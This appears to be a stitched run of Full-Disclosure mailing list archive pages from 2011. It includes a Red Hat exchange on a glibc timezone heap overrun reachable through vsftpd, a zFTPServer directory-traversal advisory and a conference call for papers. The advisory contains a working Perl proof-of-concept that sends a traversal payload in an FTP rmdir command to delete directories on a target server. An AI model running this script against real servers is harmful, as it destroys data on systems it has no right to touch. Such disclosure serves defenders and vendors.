far as I remember, I didnt look into the SELinux conf tough. Sorry for the vague information but currently I am a bit busy, when I will find time I might clarify on these things. Regards, /Kingcope -- Weitergeleitete Nachricht -- Von: Ramon de C Valle Datum: 11. Dezember 2011 16:41 Betreff: Re: [Full-disclosure] VSFTPD Remote Heap Overrun (low severity) An: "HI-TECH ." , dwa...@redhat.com, jo...@grok.org Cc: full-disclosure@lists.grok.org.uk > Hi Ramon, > Frankly I didn't look into the possibility to exploit this > vulnerability, > so i do not know if it is easy or hard to exploit. As you outlined > it is difficult, during your audit you did not manage to trigger a > function pointer call? :> i guess not I have not tried much, but I have not get ouside of glibc scope after the overflow within a controllable environment. In your video, It seems you overwrite the file structure used in __tzfile_read. Is this a constant and controllable behaviour? > I am not much into exploiting heap based overruns in the old times > fashion. > BTW both freebsd and pure-ftpd load locale files (strace it and you > will see) from /usr, > these locale files are used for the ftp responses to make them > written > in international language. > FreeBSD ftpd in junction with the locale files loading will SIGSEGV > (EIP overwrite) > due to a strcpy in locale responses in a special codepath. I did not > find a way to exploit Pure-FTPD through this > locale loading tough, because Pure-FTPD is very restrictive in many > ways even I have not looked this yet, I'll take a look as soon as I have some time. But thanks for the additional information. > on response lines but there might be a vuln there too. (I dont > remember if locale loading was only > on FreeBSD or also on Linux or also in vsftpd, since the libc behaves > very different in BSD/glibc/eglibc etc) One important thing to note is in Fedora and RHEL, when running SELinux, vsftpd runs confined by default, and can be configured by the following booleans: [rcvalle@localhost ~]$ getsebool -a | grep ftpd allow_ftpd_anon_write --> off allow_ftpd_full_access --> off allow_ftpd_use_cifs --> off allow_ftpd_use_nfs --> off ftpd_connect_db --> off [...] [rcvalle@localhost ~]$ And unless the boolean allow_ftpd_full_access is enabled, vsftpd may not be allowed to read this file by default. Could you cause this running the vsftpd installed from packages distributed with CentOS, Fedora, or RHEL? I'm copying Dan Walsh so he can comment on this. > > Regards, Thanks for forwarding my message to the list. It seems that my Red Hat email address has not yet been approved. John, can you approve this email address please? -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] VSFTPD Remote Heap Overrun (low severity)
> Hi Ramon, > Frankly I didn't look into the possibility to exploit this > vulnerability, > so i do not know if it is easy or hard to exploit. As you outlined > it is difficult, during your audit you did not manage to trigger a > function pointer call? :> i guess not I have not tried much, but I have not get ouside of glibc scope after the overflow within a controllable environment. In your video, It seems you overwrite the file structure used in __tzfile_read. Is this a constant and controllable behaviour? > I am not much into exploiting heap based overruns in the old times > fashion. > BTW both freebsd and pure-ftpd load locale files (strace it and you > will see) from /usr, > these locale files are used for the ftp responses to make them > written > in international language. > FreeBSD ftpd in junction with the locale files loading will SIGSEGV > (EIP overwrite) > due to a strcpy in locale responses in a special codepath. I did not > find a way to exploit Pure-FTPD through this > locale loading tough, because Pure-FTPD is very restrictive in many > ways even I have not looked this yet, I'll take a look as soon as I have some time. But thanks for the additional information. > on response lines but there might be a vuln there too. (I dont > remember if locale loading was only > on FreeBSD or also on Linux or also in vsftpd, since the libc behaves > very different in BSD/glibc/eglibc etc) One important thing to note is in Fedora and RHEL, when running SELinux, vsftpd runs confined by default, and can be configured by the following booleans: [rcvalle@localhost ~]$ getsebool -a | grep ftpd allow_ftpd_anon_write --> off allow_ftpd_full_access --> off allow_ftpd_use_cifs --> off allow_ftpd_use_nfs --> off ftpd_connect_db --> off [...] [rcvalle@localhost ~]$ And unless the boolean allow_ftpd_full_access is enabled, vsftpd may not be allowed to read this file by default. Could you cause this running the vsftpd installed from packages distributed with CentOS, Fedora, or RHEL? I'm copying Dan Walsh so he can comment on this. > > Regards, Thanks for forwarding my message to the list. It seems that my Red Hat email address has not yet been approved. John, can you approve this email address please? -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
Advisory: zFTPServer Suite 6.0.0.52 'rmdir' Directory
Traversal
Advisory ID:INFOSERVE-ADV2011-09
Author: Stefan Schurtz
Contact:secur...@infoserve.de
Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52
Vendor URL: http://www.zftpserver.com/
Vendor Status: fixed
CVE-ID: CVE-2011-4717
==
Vulnerability Description
==
zFTPServer 'rmdir' is prone to a Directory Traversal, which makes it
possible to delete directories in the system
=
Solution
=
Fixed, but no new release available, as a workaround disable
"Directories->Delete"
Disclosure Timeline
04-Dec-2011 - informed vendor
06-Dec-2011 - fixed by vendor
10-Dec-2011 - release date of this security advisory
Credits
Vulnerabilitiy found and advisory written by the INFOSERVE security team.
===
References
===
http://forum.zftpserver.com/viewtopic.php?f=4&t=2927
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-09.txt
Best regards,
Stefan Schurtz | SECURE INFRASTRUCTURE
INFOSERVE GmbH | Am Felsbrunnen 15 | D-66119 Saarbrücken
Fon +49 (0)681 88008-52 | Fax +49 (0)681 88008-33 | s.schu...@infoserve.de |
www.infoserve.de
Handelsregister: Amtsgericht Saarbrücken, HRB 11001 | Erfüllungsort:
Saarbrücken
Geschäftsführer: Dr. Stefan Leinenbach | Ust-IdNr.: DE168970599
#!/usr/bin/perl
use strict;
use Net::FTP;
my $user = "anonymous";
my $password = "anonymous@";
# connect
my $target = $ARGV[0];
my $plength = $ARGV[1];
print "\n";
print "\t###\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t###\n";
print "\n";
if (!$ARGV[0]||!$ARGV[1]) {
print "[+] Usage: $@ \n";
exit 1;
}
my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target:
$@";
print "[+] Connected to $target\n";
# login
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";
###
# Building payload '//' with min. length of 38
##
my @p = ( "",".",".",".",".","/","/" );
my $payload;
print "[+] Building payload\n";
for (my $i=1;$i<=$plength;$i++) {
$payload .= $p[$i];
push(@p,$p[$i]);
}
sleep(3);
#
# Sending payload
#
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;
##
# disconnect
##
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF
smime.p7s
Description: S/MIME cryptographic signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Call for Papers -YSTS 6 - Security Conference, Brazil
YSTS 6th Edition Sao Paulo, Brazil May 7th, 2012 Call for Papers Opens: December 10th 2012 Call for Papers Close: February 26th 2012 http://www.ysts.org @ystscon INTRODUCTION After 5 very successful editions we are off to the 6th edition of the you Sh0t the Sheriff security conference and we are sending this off so you send us the coolest stuff you've been working on. The conference will happening on May, 7th, 2012 in Sao Paulo, Brazil. This is your chance to speak about that cool research you’ve been working on, to those whom matter in the Brazilian Information Security realm. ABOUT THE CONFERENCE you Sh0t the Sheriff is a very unique, one-day, event dedicated to bringing cutting edge talks to the top-notch professionals of the Information Security Community in Brazil. The conference’s main goal is to bring the attendees to the most up-to-date state of the information security world by mixing professionals and topics from different Infosec segments of the market. yStS is a very exclusive, mostly invite-only security con. Getting a talk accepted, will, not only get you to the event, but after you successfully present your talk, you will receive a challenge-coin that guarantees your entry to yStS for as long as the conference exists. Due to the great success of the previous years' editions, yes, we're keeping the same format: * YSTS 6 will be held at an almost secret location only announced to whom it may concern a couple of weeks before the con * the venue will be, most likely, a very cool club or a bar (seriously, see pictures) * appropriate environment to network with great security folks from Brazil and abroad * since it’s a 1 day con with tons of talks, we provide to everyone coffee, lunch and booze CONFERENCE FORMAT Anything Information Security related is interesting for the conference, although we strictly do not accept commercial/ product-related pitches. Keep in mind though, this is a one-day conference, we receive a lot of submissions, so please do your best in sending new / coolest research. Just in case you need some ideas, some of the topics in security that could be interesting to us: * Mobile Devices * Social Netwoking Threats * Embedded Systems * Social Networking and Client-Side Techniques * Red Team Techniques * Inside Jobs Detection/ Techniques * Operating Systems * Career & Management topics * (cool and useful) Information Security Policies * Privacy in the Digital World * Messing with Network Protocols * 802.11 Wireless and any RF related stuff for that matter * Authentication * Incident Response Stories and Policies * Information Warfare * Malware/ Botnets * DDoS Evolution or Stories * Secure Programming * Hacker Culture * Application Security * Virtualization * DataBase Security * "the" Cloud * Cryptography * System Weaknesses * Infrastructure and Critical Systems * Reverse Engineering * Social Reverse Engineering * Reversing Social Engineering * Caipirinha and Feijoada Hacks * and everything else information security related that our attendees would enjoy, the coolest/ different/ most creative submissions win, keep that in mind! We do like shorter talks, so, please submit your talks and remember they must be 30 minutes long. (yes, we do strictly enforce that) We’re also opened to some 15-minute talks, some of the smart people around might not need 30 minutes to deliver a message, or it might be a project that has been just kicked-off. 15 minutes might be your thing and that's nothing to be ashamed about. you Sh0t the Sheriff is the perfect conference to release your new projects, other people have released very cool research before they presented it at the bigger cons. And yes, we do prefer new hot-topics and, yes, "first-time" speakers are more than welcome. If you got good stuff to speak about, that's all that matters. SPEAKER PRIVILEGES (and, that applies only to the 30 minute-long talks) * USD 1,000.00 to help covering travel expenses for international speakers * Breakfast, lunch and dinner during conference * Pre-and-post-conference official party (and the unofficial ones as well) * Auditing products in traditional Brazilian barbecue restaurants * Life-time free admission for all future yStS conferences (yes, if you 've spoken before at yStS, you have your free-entry guaranteed, just buy us a beer, ohh, wait, it's free anyways, isn't it?) CFP IMPORTANT INFO (aka: what do we need from you) Each paper submission must include the following information: * Abstract/ Presentation Title * Summary or abstract for your presentation * Your Name, company/title, address, email and phone/contact number * Short biography and qualification * Speaking experience * Do you need or have a visa to come to Brasil? * is it a 30 minute or a 15 minute talk? * Technical requirements (others than LCD Projector) * Other publications or conferences where this material has been or will be published/submitted. VERY IMPORTANT DATES Final
Re: [Full-disclosure] VSFTPD Remote Heap Overrun (low severity)
> This is afaik a patched CVE in Linux glibc [1] which can be triggered through > the very secure ftp daemon [2] so it will only work on older linux distros. > Be aware that vsftpd has privilege seperation built in so this bug > will not yield a root shell. > It could yield root only in junction with a linux kernel vulnerability > because the attacker > will not be able to break the chroot without being root. > This bug has a low severity because it's hard to exploit. > Linux systems without patched glibc are vulnerable even if the latest > version vsftpd-2.3.4 is installed. > The bug is in the glibc timezone code. vsftpd loads timezone files > from /usr [3]. If the attacker is inside a chroot > he can easily create this directory and the timezone file and trigger > the heap overrun. > > A Debugging Session illustrating the bug can be found on youtube: > http://www.youtube.com/watch?v=KRCuozBM_dQ I did a brief analysis of this issue. And it seems vsftpd does not add anything to this as an attack vector. Althought we can control the size of the chunk to be allocated (i.e. transitions), and can arbitrarily allocate this chunk from fast bins, the main arena, or eventually, a new mmap()'ed heap. We do not have any control over when its adjacent chunks are allocated, freed, the type of their contents, when they will be used, how they will be used, and if they will be used and useful at all. In addition, the data used to overflow (i.e. transition times) are read and decoded as 4-byte integers in network (big-endian) byte order, which increases the difficulty in faking any structure, such as the adjacent allocated chunk to, at least, get outside of glibc scope after the overflow--since all return paths from __tzfile_read frees our controlled previously allocated chunk. Do you or anyone know a way to potentially exploit this vulnerability? > > Cheers! Thanks, > >[1] http://dividead.wordpress.com/tag/heap-overflow/ >[2] https://security.appspot.com/vsftpd.html >[3] For example /usr/share/zoneinfo/UTC-01:00 > >/Kingcope -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
